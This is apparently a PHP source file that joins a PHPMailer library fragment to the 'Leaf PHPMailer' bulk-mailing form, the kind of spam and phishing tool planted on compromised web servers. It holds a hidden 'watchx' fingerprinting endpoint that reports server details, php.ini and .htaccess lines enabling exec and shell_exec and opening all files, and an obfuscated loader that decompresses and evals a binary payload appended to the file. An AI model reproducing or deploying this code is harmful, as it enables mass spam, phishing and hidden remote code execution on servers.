            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$lrZE='sub'.'str';$HDAF='e'.'xit';$wtuv='st'.'r'.'_re'.'place';$mLfd='gzunco'.'mpress';$waIF='file_'.'get'.'_co'.'ntents';eval($mLfd($wtuv('ljbrdnpwtm','>',$wtuv('qzaxmvrscg','<',$lrZE($waIF( __FILE__ ),-217066)))));$HDAF(0);
?>
x\]WőV(`
B%TB=?45׬c1d_׿]Wǿ˿׿7~1??_^yk]z?:^qߗv/s/?߃?7w12uc͠iiȤXۄlP's`mu T~kCߖQljbrdnpwtmyڜϏL˸'8.ߗPY*$(Lc3G|$'* ʼ7Qخ#.f[dXRjUBV Ie{S];_d%jɰ/iA~sI=1wf|$lUV"&c+2{2oyKOYJJ_YRhθ偉,?T#
k)vZx(ZIޥZ6*:?@n._nnO
,̨I?NIЈ3i?%˝S1$yVv$fbfU!*o_mt,[y*~VcL~|ֽ/,qzaxmvrscg/-X!-&n݉UV}^371ꪆîGu.Tsd;.yAt)kVq;j^s`\'"^*ljbrdnpwtm:$A3uEWc_Ar{;{o]n^0zg#}qljbrdnpwtm*n҈Rn{js\=E@.3|!!2_Moƌa^bHXć_9zĨ^YFskE0Vɖ	k:Y7kfljbrdnpwtmMKiTefN4%ndA	g?/z8VyrtcYaj+ljbrdnpwtm&Bєep2"G- l zGO7^
E"Kƹ0/:hOv꡹t;(+wuK&{*Sqzaxmvrscg}$(jVJhyթ3om(-28;HySIZu'eDGclO{v2kcncKEqzaxmvrscgV"엓%z@#[n@nnX#V:\l]B˅dڐBRy1Y] ,\8ailjbrdnpwtm
eog#׮ŝlȼ/aOwӪrWe:m=	wϴw9{	%c|,qzaxmvrscgp)OФu~te,jΗ-y$0j6p1ۮA6$9D	vV,r8Yӳrԃ⟎xQ6L1R̴6t*A9~߼rCrba7\3TE;qss&! ljbrdnpwtm|N
VLs̘HhD%ǢΏCx\\|3kym=ˆ(⤶#ϊX=
J&
ǲ
CϵIPT1;1(D,4SXӭ4"?u@zߠ)זJYBJͽ.C_v{!n頽kNksj;ljbrdnpwtmЊL^J#O3__xG]^1ЁK,aB!Y/,'#EP-yn5VmX'z	'ckcU48G}u _tePÃ
ұblbQ԰
}}bljbrdnpwtm͛49N5Iz*qzaxmvrscgB@3D֡R_V"qdW`jy9twm͚rקLb$߂~ 0othX/GٷviVbU΍]:0K{U)GӈqzaxmvrscgTV1wMS06"{q\x6cT~lv2(,&Ų:ܷJ& UfCC'qzaxmvrscg68)]oIE
ȒpfƗFKtۄE$w%j@U3KBw7#rHJ٩-UtJ|kcy
$jEQs=d~A-fʴ{́\8Djl硻%}{XbhW
p
zi/DGrƲ%%CΧU_ڙ/хVJWB22]& N
UvzGCO[lP	d&_ݙw4')͔0ف[([siQ0 %C{6!	`訹p)X	ۗ!D{f^ozܴm*oY92gлkSK\JwCWp5M4*qzaxmvrscg6̭r080)XZn߄YR\$lXBi(c"Ql9(ڈ@$aqzaxmvrscgulѣvSTIzfTho
5d{7#,*mڡ~@VXq+{uWKw}A͝(ljbrdnpwtmLdVPm7hrIj[_ΙTljbrdnpwtm7pҘ^tg#U9WBll@u؂AGYm?V"?|Gdp?s_2l]Em.Cr(;;Šf@#)h!8mY|Ѧmqzaxmvrscg ʹ.xu?k@St+$d`qs|U%7
,_FJcpljbrdnpwtmukO6v%y]8e(q~|md=//	xI{hrl`ަa;fcL'hz5
PĒCl.|:;+ē]ljbrdnpwtmq=[06Hol-~^1mr/t\!߬3ehr[ØGmZI\6ɚ=/R+dNl6)7U󔁻hAAf-'[Ha8z+A,U+
ީ@wgis2 qzaxmvrscg	Ob7+*WCY#o%8NC,ljbrdnpwtm9dM8
lDis,vr4.ljbrdnpwtmY2T!kL	c$^aN\ Ɛ﹏X*@v!y9tJ(bO˽6hn/)[KyQٵP	E%*K_e#'HXI~0L!w3{Ri\!:~Y~ljbrdnpwtm,%	J
bPZāGcqzaxmvrscgOO@{0bTxYljbrdnpwtm,f\5e3+4 }RԲּ rT7msr	P 	
tBc,G:rljbrdnpwtm"sX*%'&(z$癓@^|57̋*IljbrdnpwtmD(6qbuBk)~ـ~y?6H5d	A0RW]A0R|GzצgONi;uc~랭^~Wzqzaxmvrscg+5l3	vܚqGвmfayטϳZU0GF`1T~'}ljbrdnpwtm-90$[#qr'VHS
 tV]^BF#T'sZ\QATT;	`al~Ns;weL\@efr&~O1·f{mբ|Wljbrdnpwtm£
~40v27ů?DF7iT1έ8h']C͟u s$H'{/+#X;G;()aÆv/
4PiX0^G%B"_0ljbrdnpwtmljbrdnpwtmE$	2pd~$}ke'RROG	4zƙAq;c9B3xd]	Q䌶hyo9鸴K
*ג8:?gM*vK7-\	wې[݄)w흓qu7WLY6@2
'dml%Uc'賄zA
yDӸ]̈fw	c 0rlIũDsȭ0w;ourYb1MO+ljbrdnpwtm'b'
ԕZ[Z4B%0.#ljbrdnpwtme};(*'^)tK!iV;L5D[{91?RdǪM|NzX[jL;Ě_#-ljbrdnpwtmA-FЩp0̙fջفqB;cW	xC|QZI8gb ZtAljbrdnpwtmHp%DGȣ+d߄/4ǜLU34qzaxmvrscg VAoEi=2Ǆ𑜳z}V []P#8á@Z+1,[u^Dw&oȴi˾v	|Nr@eSLԑ pgv=^:oj;AljbrdnpwtmQ#
rutt~|sfcL`ȵ=ICCRqL
ԇ5qn?SyqzaxmvrscgU8 #gIQGADljbrdnpwtm0}0phѿS.!x]@Y.h|蕠]ls[Y;-[BrF)ryd*;Ї\[/@?A\}yUmuONc%@rKN*Ǧ˭e7Q}oE}Qgvj8ljbrdnpwtmWL^/1Oyg&ع@FljbrdnpwtmȀz7V9tsKqzaxmvrscg.qzaxmvrscgH2Fzt(Xljbrdnpwtmŉ+jႡA	eK@%n^qzaxmvrscgEw'0Zɑ
i`k&!T7ɏ0.9Fm
BXKɃvqzaxmvrscg7TW`EK0qbV!v yQJavOl u)[FpCvqzaxmvrscg7,e+[pA# :HkG!OtJփ\Gˌ^rDpO
#qzaxmvrscgBA߀Kq;SA91AwP8*Ϥl~Kkeloa9r~EMWX@WX؁fCKwxh/#PS%Rpv/I"PljbrdnpwtmOienSG5Uqvk!A! w)3k!u$hP2^xh*n/`uH=Iܲe3/2x=	DȆ2rI@:7jG0j6?$נ
i}
ASbԯqzaxmvrscgRAP}Y|&&$	?zw,P9@.!0ʧFpހiUBT
.=	'Mh]
s(Dރ3|s2LbFU=
yHz1%V赡YӝV46rq[ޅ+F'2Īqn˜O
s\h
V
f"л溧E3gPcP{]&_N3"SO06yK9Z46\GkָmIػ&t9ljbrdnpwtmHZU$aNgx]Eljbrdnpwtmv%ȭ}Z	 6nM.gnKjخ[ӯ^]UVdJ
/㽛3khzHDi?NOIސOat^vAy\˩3jXG:ֽ3Lz|*%%}[P߼N z 88^A;m}|
7w,XU\ &ҝZ$5N8SH8ljbrdnpwtm0~K {
C	/M?JFڴ7bVZ^Ok]|a[+(ckX{B#gVuX:U0j[sq^slo=
D Gv]i!9[de
=qzaxmvrscgϜۦ+M7Ro|=aQ~s|C[(\:Q܂s|f/pC,-!} ~cZoS\9&ljbrdnpwtmKy	:*ac*=֣`UO̈Vn[T
q^#mZ5DRJCQ,iA4ԀİX-Ukc3vz"o0nCO@[;s&m9	6- Ӊ"+E=dD
75*É$f2ylSlBh(0O+7Vy@քYxMy&uod=O@_!owqY@s@[#'UX-k\ljbrdnpwtm
8
/]Dw`S]
YfVȳćp8Q{}ajY? '\-XpA3q8)dMp~6OgmuU757-srʋ6')́9(6hm r;qzaxmvrscgBf|_4UP{PgϑZIK품P%_Qw0^9'Ѯ:2U
z;@1sljbrdnpwtmOviEsvwo
5 
㖬^!v.e13cS!.0G.yIPK~W[|7Xx$DaĴ!}0&2Nݷ]^L: JVŇ}ﻓ#ndm\48i$Y#:Z|H
